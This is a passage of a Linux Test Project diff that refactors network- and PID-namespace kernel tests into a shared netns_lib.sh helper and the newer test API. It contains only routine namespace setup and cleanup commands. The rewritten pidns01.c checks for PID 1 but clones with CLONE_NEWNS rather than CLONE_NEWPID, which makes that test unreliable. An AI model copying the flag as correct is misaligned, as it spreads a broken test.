+TST_TESTFUNC="do_test"
 
 do_test()
 {
@@ -49,4 +22,5 @@
 	EXPECT_FAIL $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK
 }
 
+. netns_lib.sh
 tst_run
diff --git a/testcases/kernel/containers/netns/netns_comm.sh b/testcases/kernel/containers/netns/netns_comm.sh
index ccb8b47..c7c2ae0 100755
--- a/testcases/kernel/containers/netns/netns_comm.sh
+++ b/testcases/kernel/containers/netns/netns_comm.sh
@@ -1,23 +1,9 @@
 #!/bin/sh
 # SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
 # Copyright (c) Köry Maincent <kory.maincent@bootlin.com> 2020
 # Copyright (c) 2015 Red Hat, Inc.
 #
-# SYNOPSIS:
-# netns_comm.sh <NS_EXEC_PROGRAM> <IP_VERSION> <COMM_TYPE>
-#
-# OPTIONS:
-#       * NS_EXEC_PROGRAM (ns_exec|ip)
-#               Program which will be used to enter and run other commands
-#               inside a network namespace.
-#       * IP_VERSION (ipv4|ipv6)
-#               Version of IP. (ipv4|ipv6)
-#	* COMM_TYPE (netlink|ioctl)
-#		Communication type between kernel and user space
-#		for basic setup: enabling and assigning IP addresses
-#		to the virtual ethernet devices. (Uses 'ip' command for netlink
-#		and 'ifconfig' for ioctl.)
-#
 # Tests that a separate network namespace can configure and communicate
 # over the devices it sees. Tests are done using netlink(7) ('ip' command)
 # or ioctl(2) ('ifconfig' command) for controlling devices.
@@ -29,42 +15,24 @@
 #   3. communication over the lo (localhost) device in a separate
 #      network namespace
 
-TST_POS_ARGS=3
-TST_SETUP=do_setup
-TST_TESTFUNC=do_test
-. netns_helper.sh
-
-PROG=$1
-IP_VER=$2
-COM_TYPE=$3
-
-do_setup()
-{
-	netns_setup $PROG $IP_VER $COM_TYPE "192.168.0.2" "192.168.0.3" "fd00::2" "fd00::3"
-	tst_res TINFO "NS interaction: $PROG | devices setup: $COM_TYPE"
-}
+TST_TESTFUNC="do_test"
 
 do_test()
 {
-	EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I veth0 $IP1 1>/dev/null
+	local ip_lo="127.0.0.1"
+	[ "$TST_IPV6" ] && ip_lo="::1"
 
+	EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I veth0 $IP1 1>/dev/null
 	EXPECT_PASS $NS_EXEC $NS_HANDLE1 $NS_TYPE $tping -q -c2 -I veth1 $IP0 1>/dev/null
 
-	case "$IP_VER" in
-	ipv4) ip_lo="127.0.0.1" ;;
-	ipv6) ip_lo="::1" ;;
-	esac
-	case "$COM_TYPE" in
-	netlink)
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set dev lo up || \
-			tst_brk TBROK "enabling lo device failed"
-		;;
-	ioctl)
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig lo up || \
-			tst_brk TBROK "enabling lo device failed"
-		;;
-	esac
+	if [ "$COMM_TYPE" = "netlink" ]; then
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set dev lo up
+	else
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig lo up
+	fi
+
 	EXPECT_PASS $NS_EXEC $NS_HANDLE0 $NS_TYPE $tping -q -c2 -I lo $ip_lo 1>/dev/null
 }
 
+. netns_lib.sh
 tst_run
diff --git a/testcases/kernel/containers/netns/netns_helper.sh b/testcases/kernel/containers/netns/netns_helper.sh
deleted file mode 100755
index 1f97ec4..0000000
--- a/testcases/kernel/containers/netns/netns_helper.sh
+++ /dev/null
@@ -1,285 +0,0 @@
-#!/bin/sh
-# SPDX-License-Identifier: GPL-2.0-or-later
-# Copyright (c) Linux Test Project, 2014-2020
-# Copyright (c) 2015 Red Hat, Inc.
-
-TST_CLEANUP=netns_ns_exec_cleanup
-TST_NEEDS_ROOT=1
-TST_NEEDS_CMDS="ip modprobe"
-. tst_test.sh
-
-# Set to 1 only for test cases using ifconfig (ioctl).
-USE_IFCONFIG=0
-
-# Variables which can be used in test cases (set by netns_setup() function):
-
-# Use in test cases to execute commands inside a namespace. Set to 'ns_exec' or
-# 'ip netns exec' command according to NS_EXEC_PROGRAM argument specified in
-# netns_setup() function call.
-NS_EXEC=
-
-# Set to "net" for ns_create/ns_exec as their options requires
-# to specify a namespace type. Empty for ip command.
-NS_TYPE=
-
-# IP addresses of veth0 (IP0) and veth1 (IP1) devices (ipv4/ipv6 variant
-# is determined according to the IP_VERSION argument specified in netns_setup()
-# function call.
-IP0=
-IP1=
-NETMASK=
-
-# 'ping' or 'ping6' according to the IP_VERSION argument specified
-# in netns_setup() function call.
-tping=
-
-# Network namespaces handles for manipulating and executing commands inside
-# namespaces. For 'ns_exec' handles are PIDs of daemonized processes running
-# in namespaces.
-NS_HANDLE0=
-NS_HANDLE1=
-
-# Adds "inet6 add" to the 'ifconfig' arguments which is required for the ipv6
-# version. Always use with 'ifconfig', even if ipv4 version of a test case is
-# used, in which case IFCONF_IN6_ARG will be empty string. Usage:
-# ifconfig <device> $IFCONF_IN6_ARG IP/NETMASK
-IFCONF_IN6_ARG=
-
-# Sets up global variables which can be used in test cases (documented above),
-# creates two network namespaces and a pair of virtual ethernet devices, each
-# device in one namespace. Each device is then enabled and assigned an IP
-# address according to the function parameters. IFCONF_IN6_ARG variable is set
-# only if ipv6 variant of test case is used (determined by IP_VERSION argument).
-#
-# SYNOPSIS:
-# netns_setup <NS_EXEC_PROGRAM> <IP_VERSION> <COMM_TYPE> <IP4_VETH0>
-#             <IP4_VETH1> <IP6_VETH0> <IP6_VETH1>
-#
-# OPTIONS:
-#	* NS_EXEC_PROGRAM (ns_exec|ip)
-#		Program which will be used to enter and run other commands
-#		inside a network namespace.
-#	* IP_VERSION (ipv4|ipv6)
-#		Version of IP. (ipv4|ipv6)
-#	* COMM_TYPE (netlink|ioctl)
-#		Communication type between kernel and user space
-#		for enabling and assigning IP addresses to the virtual
-#		ethernet devices. Uses 'ip' command for netlink and 'ifconfig'
-#		for ioctl. (If set to ioctl, function also checks the existance
-#		of the 'ifconfig' command.)
-#	* IP4_VETH0, IP4_VETH1
-#		IPv4 addresses for veth0 and veth1 devices.
-#	* IP6_VETH0, IP6_VETH1
-#		IPv6 addresses for veth0 and veth1 devices.
-#
-# On success function returns, on error tst_brk is called and TC is terminated.
-netns_setup()
-{
-
-	modprobe veth > /dev/null 2>&1
-
-	case "$1" in
-	ns_exec)
-		setns_check
-		if [ $? -eq 32 ]; then
-			tst_brk TCONF "setns not supported"
-		fi
-		NS_TYPE="net"
-		netns_ns_exec_setup
-		TST_CLEANUP=netns_ns_exec_cleanup
-		;;
-	ip)
-		netns_ip_setup
-		TST_CLEANUP=netns_ip_cleanup
-		;;
-	*)
-		tst_brk TBROK \
-		"first argument must be a program used to enter a network namespace (ns_exec|ip)"
-		;;
-	esac
-
-	case "$3" in
-	netlink)
-		;;
-	ioctl)
-		USE_IFCONFIG=1
-		tst_require_cmds ifconfig
-		;;
-	*)
-		tst_brk TBROK \
-		"third argument must be a comm. type between kernel and user space (netlink|ioctl)"
-		;;
-	esac
-
-	if [ -z "$4" ]; then
-		tst_brk TBROK "fourth argument must be the IPv4 address for veth0"
-	fi
-	if [ -z "$5" ]; then
-		tst_brk TBROK "fifth argument must be the IPv4 address for veth1"
-	fi
-	if [ -z "$6" ]; then
-		tst_brk TBROK "sixth argument must be the IPv6 address for veth0"
-	fi
-	if [ -z "$7" ]; then
-		tst_brk TBROK "seventh argument must be the IPv6 address for veth1"
-	fi
-
-	case "$2" in
-	ipv4)
-		IP0=$4; IP1=$5
-		tping="ping"; NETMASK=24
-		;;
-	ipv6)
-		IFCONF_IN6_ARG="inet6 add"
-		IP0=$6; IP1=$7;
-		if which ping6 >/dev/null 2>&1; then
-		    tping="ping6"
-		else
-		    tping="ping -6"
-		fi
-		NETMASK=64
-		;;
-	*)
-		tst_brk TBROK "second argument must be an ip version (ipv4|ipv6)"
-		;;
-	esac
-
-	netns_set_ip
-}
-
-# Sets up NS_EXEC to use 'ns_exec', creates two network namespaces and stores
-# their handles into NS_HANDLE0 and NS_HANDLE1 variables (in this case handles
-# are PIDs of daemonized processes running in these namespaces). Virtual
-# ethernet device is then created for each namespace.
-netns_ns_exec_setup()
-{
-	NS_EXEC="ns_exec"
-
-	NS_HANDLE0=$(ns_create $NS_TYPE)
-	if [ $? -eq 1 ]; then
-		tst_res TINFO "$NS_HANDLE0"
-		tst_brk TBROK "unable to create a new network namespace"
-	fi
-
-	NS_HANDLE1=$(ns_create $NS_TYPE)
-	if [ $? -eq 1 ]; then
-		tst_res TINFO "$NS_HANDLE1"
-		tst_brk TBROK "unable to create a new network namespace"
-	fi
-
-	$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link add veth0 type veth peer name veth1 || \
-		tst_brk TBROK "unable to create veth pair devices"
-
-	$NS_EXEC $NS_HANDLE0 $NS_TYPE ns_ifmove veth1 $NS_HANDLE1
-	ret=$?
-	if [ $ret -eq 0 ]; then
-		return;
-	fi
-
-	if [ $ret -eq 32 ]; then
-		tst_brk TCONF "IFLA_NET_NS_PID not supported"
-	fi
-
-	tst_brk TBROK "unable to add device veth1 to the separate network namespace"
-}
-
-# Sets up NS_EXEC to use 'ip netns exec', creates two network namespaces
-# and stores their handles into NS_HANDLE0 and NS_HANDLE1 variables. Virtual
-# ethernet device is then created for each namespace.
-netns_ip_setup()
-{
-	ip netns > /dev/null || \
-		tst_brk TCONF "ip without netns support (required iproute2 >= ss111010 - v3.0.0)"
-
-	NS_EXEC="ip netns exec"
-
-	NS_HANDLE0=tst_net_ns0
-	NS_HANDLE1=tst_net_ns1
-
-	ip netns del $NS_HANDLE0 2>/dev/null
-	ip netns del $NS_HANDLE1 2>/dev/null
-
-	ip netns add $NS_HANDLE0 || \
-		tst_brk TBROK "unable to create a new network namespace"
-	ip netns add $NS_HANDLE1 || \
-		tst_brk TBROK "unable to create a new network namespace"
-
-	$NS_EXEC $NS_HANDLE0 ip link add veth0 type veth peer name veth1 || \
-		tst_brk TBROK "unable to create veth pair devices"
-
-	$NS_EXEC $NS_HANDLE0 ip link set veth1 netns $NS_HANDLE1 || \
-		tst_brk TBROK "unable to add device veth1 to the separate network namespace"
-}
-
-# Enables virtual ethernet devices and assigns IP addresses for both
-# of them (IPv4/IPv6 variant is decided by netns_setup() function).
-netns_set_ip()
-{
-	if [ -z "$NS_EXEC" ]; then
-		tst_brk TBROK "netns_setup() function must be called first"
-	fi
-
-	# This applies only for ipv6 variant:
-	# Do not accept Router Advertisements (accept_ra) and do not use
-	# Duplicate Address Detection (accept_dad) which uses Neighbor
-	# Discovery Protocol - the problem is that until DAD can confirm that
-	# there is no other host with the same address, the address is
-	# considered to be "tentative" (attempts to bind() to the address fail
-	# with EADDRNOTAVAIL) which may cause problems for tests using ipv6.
-	echo 0 | $NS_EXEC $NS_HANDLE0 $NS_TYPE \
-		tee /proc/sys/net/ipv6/conf/veth0/accept_dad \
-		/proc/sys/net/ipv6/conf/veth0/accept_ra >/dev/null
-	echo 0 | $NS_EXEC $NS_HANDLE1 $NS_TYPE \
-		tee /proc/sys/net/ipv6/conf/veth1/accept_dad \
-		/proc/sys/net/ipv6/conf/veth1/accept_ra >/dev/null
-
-	case $USE_IFCONFIG in
-	1)
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 $IFCONF_IN6_ARG $IP0/$NETMASK ||
-			tst_brk TBROK "adding address to veth0 failed"
-		$NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK ||
-			tst_brk TBROK "adding address to veth1 failed"
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 up ||
-			tst_brk TBROK "enabling veth0 device failed"
-		$NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 up ||
-			tst_brk TBROK "enabling veth1 device failed"
-		;;
-	*)
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ip address add $IP0/$NETMASK dev veth0 ||
-			tst_brk TBROK "adding address to veth0 failed"
-		$NS_EXEC $NS_HANDLE1 $NS_TYPE ip address add $IP1/$NETMASK dev veth1 ||
-			tst_brk TBROK "adding address to veth1 failed"
-		$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set veth0 up ||
-			tst_brk TBROK "enabling veth0 device failed"
-		$NS_EXEC $NS_HANDLE1 $NS_TYPE ip link set veth1 up ||
-			tst_brk TBROK "enabling veth1 device failed"
-		;;
-	esac
-}
-
-netns_ns_exec_cleanup()
-{
-	if [ -z "$NS_EXEC" ]; then
-		return
-	fi
-
-	# removes veth0 device (which also removes the paired veth1 device)
-	$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link delete veth0
-
-	kill -9 $NS_HANDLE0 2>/dev/null
-	kill -9 $NS_HANDLE1 2>/dev/null
-}
-
-
-netns_ip_cleanup()
-{
-	if [ -z "$NS_EXEC" ]; then
-		return
-	fi
-
-	# removes veth0 device (which also removes the paired veth1 device)
-	$NS_EXEC $NS_HANDLE0 ip link delete veth0
-
-	ip netns del $NS_HANDLE0 2>/dev/null
-	ip netns del $NS_HANDLE1 2>/dev/null
-}
diff --git a/testcases/kernel/containers/netns/netns_lib.sh b/testcases/kernel/containers/netns/netns_lib.sh
new file mode 100755
index 0000000..79e9033
--- /dev/null
+++ b/testcases/kernel/containers/netns/netns_lib.sh
@@ -0,0 +1,227 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2022 Petr Vorel <pvorel@suse.cz>
+# Copyright (c) Linux Test Project, 2014-2021
+# Copyright (c) 2015 Red Hat, Inc.
+
+TST_NEEDS_ROOT=1
+TST_NEEDS_CMDS="ip ping"
+TST_NEEDS_DRIVERS="veth"
+
+TST_OPTS="eI"
+TST_PARSE_ARGS="netns_parse_args"
+TST_USAGE="netns_usage"
+TST_SETUP="${TST_SETUP:-netns_setup}"
+TST_CLEANUP="${TST_CLEANUP:-netns_cleanup}"
+
+TST_NET_SKIP_VARIABLE_INIT=1
+
+# from tst_net_vars.c
+IPV4_NET16_UNUSED="10.23"
+IPV6_NET32_UNUSED="fd00:23"
+
+# Set to "net" for ns_create/ns_exec as their options requires
+# to specify a namespace type. Empty for ip command.
+NS_TYPE=
+
+# 'ping' or 'ping6'
+tping=
+
+# Network namespaces handles for manipulating and executing commands inside
+# namespaces. For 'ns_exec' handles are PIDs of daemonized processes running
+# in namespaces.
+NS_HANDLE0=
+NS_HANDLE1=
+
+# Adds "inet6 add" to the 'ifconfig' arguments which is required for the ipv6
+# version. Always use with 'ifconfig', even if ipv4 version of a test case is
+# used, in which case IFCONF_IN6_ARG will be empty string. Usage:
+# ifconfig <device> $IFCONF_IN6_ARG IP/NETMASK
+IFCONF_IN6_ARG=
+
+# Program which will be used to enter and run other commands inside a network namespace.
+# (ns_exec|ip)
+NS_EXEC="ip"
+
+# Communication type between kernel and user space for basic setup: enabling and
+# assigning IP addresses to the virtual ethernet devices. (Uses 'ip' command for
+# netlink and 'ifconfig' for ioctl.)
+# (netlink|ioctl)
+COMM_TYPE="netlink"
+
+do_cleanup=
+
+netns_parse_args()
+{
+	case $1 in
+	e) NS_EXEC="ns_exec" ;;
+	I) COMM_TYPE="ioctl"; tst_require_cmds ifconfig ;;
+	esac
+}
+
+netns_usage()
+{
+	echo "usage: $0 [ -e ] [ -I ]"
+	echo "OPTIONS"
+	echo "-e      Use ns_exec instead of ip"
+	echo "-I      Test ioctl (with ifconfig) instead of netlink (with ip)"
+}
+
+netns_setup()
+{
+	if [ "$NS_EXEC" = "ip" ]; then
+		netns_ip_setup
+	else
+		setns_check
+		[ $? -eq 32 ] && tst_brk TCONF "setns not supported"
+
+		NS_TYPE="net"
+		netns_ns_exec_setup
+	fi
+
+	IP0=$(tst_ipaddr_un -c 1)
+	IP1=$(tst_ipaddr_un -c 2)
+
+	if [ "$TST_IPV6" ]; then
+		IFCONF_IN6_ARG="inet6 add"
+		NETMASK=64
+	else
+		NETMASK=24
+	fi
+
+	tping=ping$TST_IPV6
+
+	netns_set_ip
+
+	tst_res TINFO "testing netns over $COMM_TYPE with $NS_EXEC $PROG"
+	do_cleanup=1
+}
+
+netns_cleanup()
+{
+	[ "$do_cleanup" ] || return
+
+	if [ "$NS_EXEC" = "ip" ]; then
+		netns_ip_cleanup
+	else
+		netns_ns_exec_cleanup
+	fi
+}
+
+# Sets up NS_EXEC to use 'ns_exec', creates two network namespaces and stores
+# their handles into NS_HANDLE0 and NS_HANDLE1 variables (in this case handles
+# are PIDs of daemonized processes running in these namespaces). Virtual
+# ethernet device is then created for each namespace.
+netns_ns_exec_setup()
+{
+	local ret
+
+	NS_EXEC="ns_exec"
+
+	NS_HANDLE0=$(ns_create $NS_TYPE)
+	if [ $? -eq 1 ]; then
+		tst_res TINFO "$NS_HANDLE0"
+		tst_brk TBROK "unable to create a new network namespace"
+	fi
+
+	NS_HANDLE1=$(ns_create $NS_TYPE)
+	if [ $? -eq 1 ]; then
+		tst_res TINFO "$NS_HANDLE1"
+		tst_brk TBROK "unable to create a new network namespace"
+	fi
+
+	$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link add veth0 type veth peer name veth1 || \
+		tst_brk TBROK "unable to create veth pair devices"
+
+	$NS_EXEC $NS_HANDLE0 $NS_TYPE ns_ifmove veth1 $NS_HANDLE1
+	ret=$?
+	[ $ret -eq 0 ] && return
+	[ $ret -eq 32 ] && tst_brk TCONF "IFLA_NET_NS_PID not supported"
+
+	tst_brk TBROK "unable to add device veth1 to the separate network namespace"
+}
+
+# Sets up NS_EXEC to use 'ip netns exec', creates two network namespaces
+# and stores their handles into NS_HANDLE0 and NS_HANDLE1 variables. Virtual
+# ethernet device is then created for each namespace.
+netns_ip_setup()
+{
+	ip netns > /dev/null || \
+		tst_brk TCONF "ip without netns support (required iproute2 >= ss111010 - v3.0.0)"
+
+	NS_EXEC="ip netns exec"
+
+	NS_HANDLE0=tst_net_ns0
+	NS_HANDLE1=tst_net_ns1
+
+	ip netns del $NS_HANDLE0 2>/dev/null
+	ip netns del $NS_HANDLE1 2>/dev/null
+
+	ROD ip netns add $NS_HANDLE0
+	ROD ip netns add $NS_HANDLE1
+
+	ROD $NS_EXEC $NS_HANDLE0 ip link add veth0 type veth peer name veth1
+	ROD $NS_EXEC $NS_HANDLE0 ip link set veth1 netns $NS_HANDLE1
+}
+
+# Enables virtual ethernet devices and assigns IP addresses for both
+# of them (IPv4/IPv6 variant is decided by netns_setup() function).
+netns_set_ip()
+{
+	local cmd="ip"
+
+	# This applies only for ipv6 variant:
+	# Do not accept Router Advertisements (accept_ra) and do not use
+	# Duplicate Address Detection (accept_dad) which uses Neighbor
+	# Discovery Protocol - the problem is that until DAD can confirm that
+	# there is no other host with the same address, the address is
+	# considered to be "tentative" (attempts to bind() to the address fail
+	# with EADDRNOTAVAIL) which may cause problems for tests using ipv6.
+	if [ "$TST_IPV6" ]; then
+		echo 0 | $NS_EXEC $NS_HANDLE0 $NS_TYPE \
+			tee /proc/sys/net/ipv6/conf/veth0/accept_dad \
+			/proc/sys/net/ipv6/conf/veth0/accept_ra >/dev/null
+		echo 0 | $NS_EXEC $NS_HANDLE1 $NS_TYPE \
+			tee /proc/sys/net/ipv6/conf/veth1/accept_dad \
+			/proc/sys/net/ipv6/conf/veth1/accept_ra >/dev/null
+	fi
+
+	[ "$COMM_TYPE" = "ioctl" ] && cmd="ifconfig"
+
+	if [ "$COMM_TYPE" = "netlink" ]; then
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip address add $IP0/$NETMASK dev veth0
+		ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ip address add $IP1/$NETMASK dev veth1
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ip link set veth0 up
+		ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ip link set veth1 up
+	else
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 $IFCONF_IN6_ARG $IP0/$NETMASK
+		ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 $IFCONF_IN6_ARG $IP1/$NETMASK
+		ROD $NS_EXEC $NS_HANDLE0 $NS_TYPE ifconfig veth0 up
+		ROD $NS_EXEC $NS_HANDLE1 $NS_TYPE ifconfig veth1 up
+	fi
+}
+
+netns_ns_exec_cleanup()
+{
+	[ "$NS_EXEC" ] || return
+
+	# removes veth0 device (which also removes the paired veth1 device)
+	$NS_EXEC $NS_HANDLE0 $NS_TYPE ip link delete veth0
+
+	kill -9 $NS_HANDLE0 2>/dev/null
+	kill -9 $NS_HANDLE1 2>/dev/null
+}
+
+
+netns_ip_cleanup()
+{
+	[ "$NS_EXEC" ] || return
+
+	# removes veth0 device (which also removes the paired veth1 device)
+	$NS_EXEC $NS_HANDLE0 ip link delete veth0
+
+	ip netns del $NS_HANDLE0 2>/dev/null
+	ip netns del $NS_HANDLE1 2>/dev/null
+}
+
+. tst_net.sh
diff --git a/testcases/kernel/containers/netns/netns_netlink.c b/testcases/kernel/containers/netns/netns_netlink.c
index 1e8e78f..6f60ff9 100644
--- a/testcases/kernel/containers/netns/netns_netlink.c
+++ b/testcases/kernel/containers/netns/netns_netlink.c
@@ -5,7 +5,7 @@
  */
 
 /*\
- * [DESCRIPTION]
+ * [Description]
  *
  * Tests a netlink interface inside a new network namespace.
  *
@@ -57,7 +57,7 @@
 	SAFE_BIND(fd, (struct sockaddr *) &sa, sizeof(sa));
 
 	/* waits for parent to create an interface */
-	TST_CHECKPOINT_WAIT(0);
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
 	/*
 	 * To get rid of "resource temporarily unavailable" errors
@@ -98,6 +98,9 @@
 	if (SAFE_FORK() == 0)
 		child_func();
 
+	/* wait until child opens netlink socket */
+	TST_CHECKPOINT_WAIT(0);
+
 	/* creates TAP network interface dummy0 */
 	if (WEXITSTATUS(system("ip tuntap add dev dummy0 mode tap")))
 		tst_brk(TBROK, "adding interface failed");
@@ -116,11 +119,11 @@
 static struct tst_test test = {
 	.test_all = test_netns_netlink,
 	.needs_checkpoints = 1,
-	.needs_tmpdir = 1,
 	.needs_root = 1,
 	.forks_child = 1,
 	.needs_kconfigs = (const char *[]) {
 		"CONFIG_NET_NS=y",
+		"CONFIG_TUN",
 		NULL
 	},
 };
diff --git a/testcases/kernel/containers/netns/netns_sysfs.sh b/testcases/kernel/containers/netns/netns_sysfs.sh
index 8125e24..9fc390e 100755
--- a/testcases/kernel/containers/netns/netns_sysfs.sh
+++ b/testcases/kernel/containers/netns/netns_sysfs.sh
@@ -11,7 +11,6 @@
 TST_SETUP=do_setup
 TST_TESTFUNC=do_test
 TST_NEEDS_TMPDIR=1
-. tst_test.sh
 
 do_setup()
 {
@@ -50,7 +49,6 @@
 	kill -9 $NS_HANDLE 2>/dev/null
 }
 
-
 do_test()
 {
 	EXPECT_PASS ns_exec $NS_HANDLE $NS_TYPE test -e /sys/class/net/$DUMMYDEV
@@ -58,4 +56,5 @@
 	EXPECT_FAIL test -e /sys/class/net/$DUMMYDEV
 }
 
+. tst_test.sh
 tst_run
diff --git a/testcases/kernel/containers/pidns/Makefile b/testcases/kernel/containers/pidns/Makefile
index 886e397..5f8383c 100644
--- a/testcases/kernel/containers/pidns/Makefile
+++ b/testcases/kernel/containers/pidns/Makefile
@@ -1,22 +1,5 @@
-###############################################################################
-#                                                                            ##
-# Copyright (c) International Business Machines  Corp., 2007                 ##
-#                                                                            ##
-# This program is free software;  you can redistribute it and#or modify      ##
-# it under the terms of the GNU General Public License as published by       ##
-# the Free Software Foundation; either version 2 of the License, or          ##
-# (at your option) any later version.                                        ##
-#                                                                            ##
-# This program is distributed in the hope that it will be useful, but        ##
-# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-# for more details.                                                          ##
-#                                                                            ##
-# You should have received a copy of the GNU General Public License          ##
-# along with this program;  if not, write to the Free Software               ##
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-#                                                                            ##
-###############################################################################
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) International Business Machines  Corp., 2007
 
 top_srcdir		?= ../../../..
 
diff --git a/testcases/kernel/containers/pidns/pidns01.c b/testcases/kernel/containers/pidns/pidns01.c
index ac702dd..eba4b80 100644
--- a/testcases/kernel/containers/pidns/pidns01.c
+++ b/testcases/kernel/containers/pidns/pidns01.c
@@ -1,118 +1,45 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
-* Copyright (c) International Business Machines Corp., 2007
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-***************************************************************************
-
-* File: pidns01.c
-*
-* Description:
-*  The pidns01.c testcase builds into the ltp framework to verify
-*  the basic functionality of PID Namespace.
-*
-* Verify that:
-* 1. When parent clone a process with flag CLONE_NEWPID, the process ID of
-* child should be always one.
-*
-* 2. When parent clone a process with flag CLONE_NEWPID, the parent process ID of
-* should be always zero.
-*
-* Total Tests:
-*
-* Test Name: pidns01
-*
-* Test Assertion & Strategy:
-*
-* From main() clone a new child process with passing the clone_flag as CLONE_NEWPID,
-* Inside the cloned pid check for the getpid() and getppid()
-* Verify with global macro defined value for parent pid & child pid.
-*
-* Usage: <for command-line>
-* pidns01
-*
-* History:
-*
-* FLAG DATE		NAME			DESCRIPTION
-* 27/12/07  RISHIKESH K RAJAK <risrajak@in.ibm.com> Created this test
-*
-*******************************************************************************************/
-#define _GNU_SOURCE
-#include <sys/wait.h>
-#include <assert.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <string.h>
-#include <errno.h>
-#include "pidns_helper.h"
-#include "test.h"
-
-char *TCID = "pidns01";
-int TST_TOTAL = 1;
-
-#define CHILD_PID       1
-#define PARENT_PID      0
-
-/*
- * child_fn1() - Inside container
+ * Copyright (c) International Business Machines Corp., 2007
+ *               27/12/07  Rishikesh K Rajak <risrajak@in.ibm.com>
+ * Copyright (C) 2022 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
-int child_fn1(void *ttype LTP_ATTRIBUTE_UNUSED)
+
+/*\
+ * [Description]
+ *
+ * Clone a process with CLONE_NEWNS flag and check:
+ *
+ * - child process ID must be 1
+ * - parent process ID must be 0
+ */
+
+#include "tst_test.h"
+#include "lapi/namespaces_constants.h"
+
+static int child_func(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	int exit_val;
 	pid_t cpid, ppid;
+
 	cpid = getpid();
 	ppid = getppid();
 
-	tst_resm(TINFO, "PIDNS test is running inside container");
-	if (cpid == CHILD_PID && ppid == PARENT_PID) {
-		printf("Got expected cpid and ppid\n");
-		exit_val = 0;
-	} else {
-		printf("Got unexpected result of cpid=%d ppid=%d\n",
-		       cpid, ppid);
-		exit_val = 1;
-	}
+	TST_EXP_PASS(cpid == 1);
+	TST_EXP_PASS(ppid == 0);
 
-	return exit_val;
+	return 0;
 }
 
-static void setup(void)
+static void run(void)
 {
-	tst_require_root();
-	check_newpid();
+	int ret;
+
+	ret = ltp_clone_quick(CLONE_NEWNS | SIGCHLD, child_func, NULL);
+	if (ret < 0)
+		tst_brk(TBROK | TERRNO, "clone failed");
 }
 
-int main(int argc, char *argv[])
-{
-	int status;
-	tst_parse_opts(argc, argv, NULL, NULL);
-	setup();
-
-	TEST(do_clone_unshare_test(T_CLONE, CLONE_NEWPID, child_fn1, NULL));
-
-	if (TEST_RETURN == -1) {
-		tst_brkm(TFAIL | TTERRNO, NULL, "clone failed");
-	} else if ((wait(&status)) == -1) {
-		tst_brkm(TWARN | TERRNO, NULL, "wait failed");
-	}
-
-	if (WIFEXITED(status) && WEXITSTATUS(status) != 0)
-		tst_resm(TFAIL, "child exited abnormally");
-	else if (WIFSIGNALED(status)) {
-		tst_resm(TFAIL, "child was killed with signal = %d",
-			 WTERMSIG(status));
-	}
-
-	tst_exit();
-}
-
+static struct tst_test test = {
+	.test_all = run,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/containers/pidns/pidns02.c b/testcases/kernel/containers/pidns/pidns02.c
index 2bc9035..9f3a465 100644
--- a/testcases/kernel/containers/pidns/pidns02.c
+++ b/testcases/kernel/containers/pidns/pidns02.c
@@ -1,114 +1,44 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
-* Copyright (c) International Business Machines Corp., 2007
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See
-* the GNU General Public License for more details.
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-*
-***************************************************************************
-
-* File: pidns02.c
-*
-* Description:
-*	The pidns02.c testcase builds into the ltp framework to verify
-*	the basic functionality of PID Namespace.
-*
